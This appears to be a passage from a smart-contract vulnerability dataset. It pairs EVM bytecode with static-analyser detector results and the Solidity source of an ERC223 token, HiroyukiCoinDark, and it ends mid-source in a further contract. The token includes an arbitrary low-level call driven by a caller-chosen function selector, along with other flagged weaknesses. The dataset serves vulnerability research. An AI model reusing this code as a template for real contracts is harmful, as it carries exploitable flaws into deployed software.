fffffffffff16906020019091905050610d33565b6040518082815260200191505060405180910390f35b341561032a57600080fd5b610332610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610372578082015181840152602081019050610357565b50505050905090810190601f16801561039f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103b857600080fd5b6103ed600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610e1a565b005b34156103fa57600080fd5b610472600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061114f565b005b341561047f57600080fd5b6104b4600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061147b565b604051808215151515815260200191505060405180910390f35b34156104d957600080fd5b610524600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611677565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105d05780601f106105a5576101008083540402835291602001916105d0565b820191906000526020600020905b8154815290600101906020018083116105b357829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60065481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561070d57600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561075b57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107e657600080fd5b61083882600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116fe90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108cd82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461171790919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061099f82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116fe90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600560009054906101000a900460ff1681565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610bb3576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c47565b610bc683826116fe90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e125780601f10610de757610100808354040283529160200191610e12565b820191906000526020600020905b815481529060010190602001808311610df557829003601f168201915b505050505081565b6000610e24611744565b6000843b9250610e7c84600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116fe90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f1184600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461171790919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000831115611080578490508073ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a3386856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611022578082015181840152602081019050611007565b50505050905090810190601f16801561104f5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b151561106f57600080fd5b5af1151561107c57600080fd5b5050505b816040518082805190602001908083835b6020831015156110b65780518252602082019150602081019050602083039250611091565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16876040518082815260200191505060405180910390a45050505050565b600080843b91506111a884600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116fe90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061123d84600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461171790919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008211156113ac578490508073ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a3386866040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561134e578082015181840152602081019050611333565b50505050905090810190601f16801561137b5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b151561139b57600080fd5b5af115156113a857600080fd5b5050505b826040518082805190602001908083835b6020831015156113e257805182526020820191506020810190506020830392506113bd565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16876040518082815260200191505060405180910390a45050505050565b600061150c82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461171790919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600061170c83831115611735565b818303905092915050565b600080828401905061172b84821015611735565b8091505092915050565b80151561174157600080fd5b50565b6020604051908101604052806000815250905600a165627a7a72305820b601a834552fe5a84ff30a1dec17a52c7b5c567daa1fa0b2373f5a2084bec2ff0029
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
5,838
0x837f936009afb90e31751a4e92d9cc9350a92d93
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0 || b == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization * control functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the * sender account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC223 * @dev ERC223 contract interface with ERC20 functions and events * Fully backward compatible with ERC20 * Recommended implementation used at https://github.com/Dexaran/ERC223-token-standard/tree/Recommended */ contract ERC223 { uint public totalSupply; // ERC223 and ERC20 functions and events function balanceOf(address who) public view returns (uint); function totalSupply() public view returns (uint256 _supply); function transfer(address to, uint value) public returns (bool ok); function transfer(address to, uint value, bytes data) public returns (bool ok); function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); // ERC223 functions function name() public view returns (string _name); function symbol() public view returns (string _symbol); function decimals() public view returns (uint8 _decimals); // ERC20 functions and events function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint _value); event Burn(address indexed from, uint256 amount); } /** * @title ContractReceiver * @dev Contract that is working with ERC223 tokens */ contract ContractReceiver { struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint _value, bytes _data) public pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); /* * tkn variable is analogue of msg variable of Ether transaction * tkn.sender is person who initiated this token transaction (analogue of msg.sender) * tkn.value the number of tokens that were sent (analogue of msg.value) * tkn.data is data of token transaction (analogue of msg.data) * tkn.sig is 4 bytes signature of function if data of token transaction is a function execution */ } } contract HiroyukiCoinDark is ERC223, Ownable { using SafeMath for uint256; string public name = "HiroyukiCoinDark"; string public symbol = "HCD"; uint8 public decimals = 18; uint256 public decimalNum = 1e18; uint256 public totalSupply = 10e10 * decimalNum; uint256 public presaleRate = 1e9; mapping(address => uint256) public balanceOf; mapping(address => mapping (address => uint256)) public allowance; /** * @dev Constructor is called only once and can not be called again */ function HiroyukiCoinDark() public { owner = msg.sender; balanceOf[owner] = totalSupply; Transfer(address(0), owner, totalSupply); } function name() public view returns (string _name) { return name; } function symbol() public view returns (string _symbol) { return symbol; } function decimals() public view returns (uint8 _decimals) { return decimals; } function totalSupply() public view returns (uint256 _totalSupply) { return totalSupply; } function balanceOf(address _owner) public view returns (uint256 balance) { return balanceOf[_owner]; } /** * @dev Function that is called when a user or another contract wants to transfer funds */ function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) { require(_to != address(0) && _value > 0); if (isContract(_to)) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data)); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } else { return transferToAddress(_to, _value, _data); } } function transfer(address _to, uint _value, bytes _data) public returns (bool success) { require(_to != address(0) && _value > 0); if (isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } /** * @dev Standard function transfer similar to ERC20 transfer with no _data * Added due to backwards compatibility reasons */ function transfer(address _to, uint _value) public returns (bool success) { require(_to != address(0) && _value > 0); bytes memory empty; if (isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } // assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length > 0); } // function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } // function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } /** * @dev Transfer tokens from one address to another * Added due to backwards compatibility with ERC20 * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != address(0) && _value > 0); require(balanceOf[_from] >= _value); require(allowance[_from][msg.sender] >= _value); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Allows _spender to spend no more than _value tokens in your behalf * Added due to backwards compatibility with ERC20 * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender * Added due to backwards compatibility with ERC20 * @param _owner address The address which owns the funds * @param _spender address The address which will spend the funds */ function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowance[_owner][_spender]; } /** * @dev Burns a specific amount of tokens. * @param _unitAmount The amount of token to be burned. */ function burn(uint256 _unitAmount) onlyOwner public { require(_unitAmount > 0); _unitAmount = _unitAmount.mul(decimalNum); require(balanceOf[msg.sender] >= _unitAmount); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_unitAmount); totalSupply = totalSupply.sub(_unitAmount); Burn(msg.sender, _unitAmount); } /** * @dev Function to distribute tokens to the list of addresses by the provided amount */ function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) { require(amount > 0 && addresses.length > 0); amount = amount.mul(decimalNum); uint256 totalAmount = amount.mul(addresses.length); require(balanceOf[msg.sender] >= totalAmount); for (uint j = 0; j < addresses.length; j++) { require(addresses[j] != 0x0); Transfer(msg.sender, addresses[j], amount); balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount); } balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount); return true; } function distributeAirdrop(address[] addresses, uint[] amounts) public returns (bool) { require(addresses.length > 0); require(addresses.length == amounts.length); uint256 totalAmount = 0; for(uint j = 0; j < addresses.length; j++){ require(amounts[j] > 0 && addresses[j] != 0x0); amounts[j] = amounts[j].mul(decimalNum); totalAmount = totalAmount.add(amounts[j]); } require(balanceOf[msg.sender] >= totalAmount); for (j = 0; j < addresses.length; j++) { require(addresses[j] != 0x0); Transfer(msg.sender, addresses[j], amounts[j]); balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]); } balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount); return true; } function setPresaleRate(uint256 _unitAmount) onlyOwner public { presaleRate = _unitAmount; } /** * @dev fallback function */ function() payable public { require(msg.value > 0); require(presaleRate > 0); address _to = msg.sender; uint256 numTokens = SafeMath.mul(msg.value, presaleRate); require(numTokens > 0); require(balanceOf[owner] >= numTokens); balanceOf[_to] = balanceOf[_to].add(numTokens); balanceOf[owner] = balanceOf[owner].sub(numTokens); Transfer(owner, _to, numTokens); owner.transfer(msg.value); } }
0x6080604052600436106100ed5763ffffffff60e060020a60003504166306fdde03811461023f578063095ea7b3146102c957806318160ddd1461030157806323b872dd14610328578063313ce5671461035257806342966c681461037d57806342f393811461039757806370a08231146103ac5780638da5cb5b146103cd57806394594625146103fe57806395d89b4114610455578063a9059cbb1461046a578063ad2b260a1461048e578063be45fd62146104a3578063dd62ed3e1461050c578063dd92459414610533578063f2fde38b146105c1578063f449ffe4146105e2578063f6368f8a146105fa575b6000803481106100fc57600080fd5b60075460001061010b57600080fd5b33915061011a346007546106a1565b90506000811161012957600080fd5b600154600160a060020a031660009081526008602052604090205481111561015057600080fd5b600160a060020a038216600090815260086020526040902054610179908263ffffffff6106e016565b600160a060020a0380841660009081526008602052604080822093909355600154909116815220546101b1908263ffffffff6106ef16565b60018054600160a060020a0390811660009081526008602090815260409182902094909455915482518581529251868316949190921692600080516020611696833981519152929081900390910190a3600154604051600160a060020a03909116903480156108fc02916000818181858888f1935050505015801561023a573d6000803e3d6000fd5b505050005b34801561024b57600080fd5b50610254610701565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561028e578181015183820152602001610276565b50505050905090810190601f1680156102bb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102d557600080fd5b506102ed600160a060020a0360043516602435610794565b604080519115158252519081900360200190f35b34801561030d57600080fd5b506103166107fa565b60408051918252519081900360200190f35b34801561033457600080fd5b506102ed600160a060020a0360043581169060243516604435610800565b34801561035e57600080fd5b50610367610976565b6040805160ff9092168252519081900360200190f35b34801561038957600080fd5b5061039560043561097f565b005b3480156103a357600080fd5b50610316610a55565b3480156103b857600080fd5b50610316600160a060020a0360043516610a5b565b3480156103d957600080fd5b506103e2610a76565b60408051600160a060020a039092168252519081900360200190f35b34801561040a57600080fd5b50604080516020600480358082013583810280860185019096528085526102ed953695939460249493850192918291850190849080828437509497505093359450610a859350505050565b34801561046157600080fd5b50610254610c34565b34801561047657600080fd5b506102ed600160a060020a0360043516602435610c95565b34801561049a57600080fd5b50610316610ce7565b3480156104af57600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526102ed948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610ced9650505050505050565b34801561051857600080fd5b50610316600160a060020a0360043581169060243516610d3d565b34801561053f57600080fd5b50604080516020600480358082013583810280860185019096528085526102ed95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750949750610d689650505050505050565b3480156105cd57600080fd5b50610395600160a060020a0360043516610f88565b3480156105ee57600080fd5b5061039560043561101d565b34801561060657600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526102ed948235600160a060020a031694602480359536959460649492019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a9998810197919650918201945092508291508401838280828437509497506110399650505050505050565b6000808315806106af575082155b156106bd57600091506106d9565b508282028284828115156106cd57fe5b04146106d557fe5b8091505b5092915050565b6000828201838110156106d557fe5b6000828211156106fb57fe5b50900390565b60028054604080516020601f600019610100600187161502019094168590049384018190048102820181019092528281526060939092909183018282801561078a5780601f1061075f5761010080835404028352916020019161078a565b820191906000526020600020905b81548152906001019060200180831161076d57829003601f168201915b5050505050905090565b336000818152600960209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60065490565b6000600160a060020a0383161580159061081a5750600082115b151561082557600080fd5b600160a060020a03841660009081526008602052604090205482111561084a57600080fd5b600160a060020a038416600090815260096020908152604080832033845290915290205482111561087a57600080fd5b600160a060020a0384166000908152600860205260409020546108a3908363ffffffff6106ef16565b600160a060020a0380861660009081526008602052604080822093909355908516815220546108d8908363ffffffff6106e016565b600160a060020a03808516600090815260086020908152604080832094909455918716815260098252828120338252909152205461091c908363ffffffff6106ef16565b600160a060020a0380861660008181526009602090815260408083203384528252918290209490945580518681529051928716939192600080516020611696833981519152929181900390910190a35060015b9392505050565b60045460ff1690565b600154600160a060020a0316331461099657600080fd5b600081116109a357600080fd5b6005546109b790829063ffffffff6106a116565b336000908152600860205260409020549091508111156109d657600080fd5b336000908152600860205260409020546109f6908263ffffffff6106ef16565b33600090815260086020526040902055600654610a19908263ffffffff6106ef16565b60065560408051828152905133917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a250565b60075481565b600160a060020a031660009081526008602052604090205490565b600154600160a060020a031681565b60008060008084118015610a9a575060008551115b1515610aa557600080fd5b600554610ab990859063ffffffff6106a116565b9350610acf8551856106a190919063ffffffff16565b33600090815260086020526040902054909250821115610aee57600080fd5b5060005b8451811015610bf9578481815181101515610b0957fe5b60209081029091010151600160a060020a03161515610b2757600080fd5b8481815181101515610b3557fe5b90602001906020020151600160a060020a031633600160a060020a0316600080516020611696833981519152866040518082815260200191505060405180910390a3610bbc84600860008885815181101515610b8d57fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff6106e016565b600860008784815181101515610bce57fe5b6020908102909101810151600160a060020a0316825281019190915260400160002055600101610af2565b33600090815260086020526040902054610c19908363ffffffff6106ef16565b33600090815260086020526040902055506001949350505050565b60038054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561078a5780601f1061075f5761010080835404028352916020019161078a565b60006060600160a060020a03841615801590610cb15750600083115b1515610cbc57600080fd5b610cc5846112ee565b15610cdc57610cd58484836112f6565b91506106d9565b610cd584848361153a565b60055481565b6000600160a060020a03841615801590610d075750600083115b1515610d1257600080fd5b610d1b846112ee565b15610d3257610d2b8484846112f6565b905061096f565b610d2b84848461153a565b600160a060020a03918216600090815260096020908152604080832093909416825291909152205490565b6000806000808551111515610d7c57600080fd5b8351855114610d8a57600080fd5b5060009050805b8451811015610e625760008482815181101515610daa57fe5b90602001906020020151118015610de257508481815181101515610dca57fe5b90602001906020020151600160a060020a0316600014155b1515610ded57600080fd5b610e176005548583815181101515610e0157fe5b602090810290910101519063ffffffff6106a116565b8482815181101515610e2557fe5b602090810290910101528351610e5890859083908110610e4157fe5b60209081029091010151839063ffffffff6106e016565b9150600101610d91565b33600090815260086020526040902054821115610e7e57600080fd5b5060005b8451811015610bf9578481815181101515610e9957fe5b60209081029091010151600160a060020a03161515610eb757600080fd5b8481815181101515610ec557fe5b90602001906020020151600160a060020a031633600160a060020a03166000805160206116968339815191528684815181101515610eff57fe5b906020019060200201516040518082815260200191505060405180910390a3610f4b8482815181101515610f2f57fe5b90602001906020020151600860008885815181101515610b8d57fe5b600860008784815181101515610f5d57fe5b6020908102909101810151600160a060020a0316825281019190915260400160002055600101610e82565b600154600160a060020a03163314610f9f57600080fd5b600160a060020a0381161515610fb457600080fd5b600154604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600154600160a060020a0316331461103457600080fd5b600755565b6000600160a060020a038516158015906110535750600084115b151561105e57600080fd5b611067856112ee565b156112d8573360009081526008602052604090205484111561108857600080fd5b336000908152600860205260409020546110a8908563ffffffff6106ef16565b3360009081526008602052604080822092909255600160a060020a038716815220546110da908563ffffffff6106e016565b600160a060020a038616600081815260086020908152604080832094909455925185519293919286928291908401908083835b6020831061112c5780518252601f19909201916020918201910161110d565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b838110156111be5781810151838201526020016111a6565b50505050905090810190601f1680156111eb5780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185885af19350505050151561120b57fe5b826040518082805190602001908083835b6020831061123b5780518252601f19909201916020918201910161121c565b51815160209384036101000a6000190180199092169116179052604080519290940182900382208a83529351939550600160a060020a038b16945033937fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c169350918290030190a4604080518581529051600160a060020a0387169133916000805160206116968339815191529181900360200190a35060016112e6565b6112e385858561153a565b90505b949350505050565b6000903b1190565b33600090815260086020526040812054819084111561131457600080fd5b33600090815260086020526040902054611334908563ffffffff6106ef16565b3360009081526008602052604080822092909255600160a060020a03871681522054611366908563ffffffff6106e016565b600160a060020a03861660008181526008602090815260408083209490945592517fc0ee0b8a0000000000000000000000000000000000000000000000000000000081523360048201818152602483018a90526060604484019081528951606485015289518c9850959663c0ee0b8a9693958c958c956084909101928601918190849084905b838110156114045781810151838201526020016113ec565b50505050905090810190601f1680156114315780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15801561145257600080fd5b505af1158015611466573d6000803e3d6000fd5b50505050826040518082805190602001908083835b6020831061149a5780518252601f19909201916020918201910161147b565b51815160209384036101000a6000190180199092169116179052604080519290940182900382208a83529351939550600160a060020a038b16945033937fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c169350918290030190a4604080518581529051600160a060020a0387169133916000805160206116968339815191529181900360200190a3506001949350505050565b3360009081526008602052604081205483111561155657600080fd5b33600090815260086020526040902054611576908463ffffffff6106ef16565b3360009081526008602052604080822092909255600160a060020a038616815220546115a8908463ffffffff6106e016565b600160a060020a0385166000908152600860209081526040918290209290925551835184928291908401908083835b602083106115f65780518252601f1990920191602091820191016115d7565b51815160209384036101000a6000190180199092169116179052604080519290940182900382208983529351939550600160a060020a038a16945033937fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c169350918290030190a4604080518481529051600160a060020a0386169133916000805160206116968339815191529181900360200190a350600193925050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a7230582078687ef4138813a74149d5023db4d754acafc7aaa8878ea28e5790a5c63dafe60029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
5,839
0x0205ae93e18aa23d31e3df53899547b986e419c5
/** *Submitted for verification at Etherscan.io on 2021-02-02 */ // SPDX-License-Identifier: MIT pragma solidity ^0.7.5; library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * 